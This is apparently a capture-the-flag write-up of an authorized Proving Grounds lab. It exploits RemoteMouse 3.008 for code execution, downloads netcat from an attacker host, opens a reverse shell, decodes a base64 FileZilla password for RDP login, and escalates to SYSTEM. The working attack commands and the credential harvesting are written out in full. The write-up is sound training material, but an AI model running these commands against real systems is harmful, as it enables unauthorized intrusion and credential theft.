Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
In this lab, the RemoteMouse 3.008 exploit will be used on port 1978 for remote code execution, capturing a reverse shell with Netcat. After decoding the FileZilla password, we will log in via Remote Desktop and open a Command Prompt as an administrator. This lab focuses on exploiting service vulnerabilities and privilege escalation methods.
Scenario
This lab demonstrates exploiting RemoteMouse 3.008 to achieve remote code execution via a modified exploit that delivers a reverse shell. Learners will escalate privileges by extracting and decoding credentials from FileZilla's configuration files, gaining RDP access as a user. Finally, they will exploit the RemoteMouse application's admin privileges to spawn a Command Prompt as Administrator. This lab emphasizes RCE, credential exploitation, and leveraging application misconfigurations for privilege escalation.
Learning Objective
After completion of this lab, learners will be able to:
- Perform a full port scan to identify services and vulnerabilities on the target.
- Exploit RemoteMouse 3.008 to achieve remote code execution and a reverse shell.
- Enumerate FileZilla configuration files to extract encoded user credentials.
- Decode the extracted credentials and log in via RDP.
- Use RemoteMouse's privileged settings to spawn a Command Prompt with Administrator access.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/mice]
# Map exposed services and versions on the target.
└─$ nmap -sCV -p- 192.168.155.199
Nmap scan report for 192.168.155.199
Host is up (0.022s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1978/tcp open remotemouse Emote Remote Mouse
1979/tcp open unisql-java?
1980/tcp open pearldoc-xact?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-05-27T00:03:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Remote-PC
| Not valid before: 2026-05-25T23:56:56
|_Not valid after: 2026-11-24T23:56:56
| rdp-ntlm-info:
| Target_Name: REMOTE-PC
| NetBIOS_Domain_Name: REMOTE-PC
| NetBIOS_Computer_Name: REMOTE-PC
| DNS_Domain_Name: Remote-PC
| DNS_Computer_Name: Remote-PC
| Product_Version: 10.0.19041
|_ System_Time: 2026-05-27T00:03:16+00:00
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
findstr /SIM /C:"pass" *.ini *.cfg *.xml
# Execute the next evidence-gathering step in the authorized lab.
C:\Users\divine>findstr /SIM /c:"pass" *.ini *.cfg *.xml
findstr /SIM /c:"pass" *.ini *.cfg *.xml
AppData\Roaming\FileZilla\filezilla.xml
AppData\Roaming\FileZilla\recentservers.xmlThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Read the file contents for useful configuration or credential data.
C:\Users\divine>type AppData\Roaming\FileZilla\recentservers.xml
# Read the file contents for useful configuration or credential data.
type AppData\Roaming\FileZilla\recentservers.xml
<?xml version="1.0" encoding="UTF-8"?>
<FileZilla3 version="3.54.1" platform="windows">
<RecentServers>
<Server>
<Host>ftp.pg</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>divine</User>
<Pass encoding="base64">Q29udHJvbEZyZWFrMTE=</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
</RecentServers>
</FileZilla3>This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
Base64 Decoded: ControlFreak11This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/mice]
# Execute the next evidence-gathering step in the authorized lab.
└─$ xfreerdp /u:divine /p:'ControlFreak11' /v:192.168.155.199Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/mice]
# Execute the next evidence-gathering step in the authorized lab.
└─$ git clone https://github.com/p0dalirius/RemoteMouse-3.008-Exploit.git
Cloning into 'RemoteMouse-3.008-Exploit'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (64/64), done.
remote: Compressing objects: 100% (60/60), done.
remote: Total 64 (delta 32), reused 14 (delta 4), pack-reused 0 (from 0)
Receiving objects: 100% (64/64), 2.02 MiB | 2.58 MiB/s, done.
Resolving deltas: 100% (32/32), done.This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/mice/RemoteMouse-3.008-Exploit]
# Execute the next evidence-gathering step in the authorized lab.
└─$ ./RemoteMouse-3.008-Exploit.py --target-ip 192.168.155.199 --cmd "powershell -c \"curl http://192.168.45.191/nc.exe -o C:/Users/Public/nc.exe\""This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/mice/RemoteMouse-3.008-Exploit]
# Execute the next evidence-gathering step in the authorized lab.
└─$ ./RemoteMouse-3.008-Exploit.py --target-ip 192.168.155.199 --cmd "powershell -c \"C:/Users/Public/nc.exe 192.168.45.191 80 -e cmd\""This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/mice]
# Run the helper or analysis script used in this lab step.
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.155.199 - - [26/May/2026 20:53:23] "GET /nc.exe HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
┌──(.venv)─(kali㉿kali)-[~/offsec/mice]
# Create the network connection required for this lab step.
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.191] from (UNKNOWN) [192.168.155.199] 50914
Microsoft Windows [Version 10.0.19042.1348]
(c) Microsoft Corporation. All rights reserved.
C:\Users\divine>This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The output records the result observed during this authorized lab step.
https://www.exploit-db.com/exploits/50047This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The output records the result observed during this authorized lab step.
In the GUI, follow https://www.exploit-db.com/exploits/50047
Got the nt_authority/systemTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.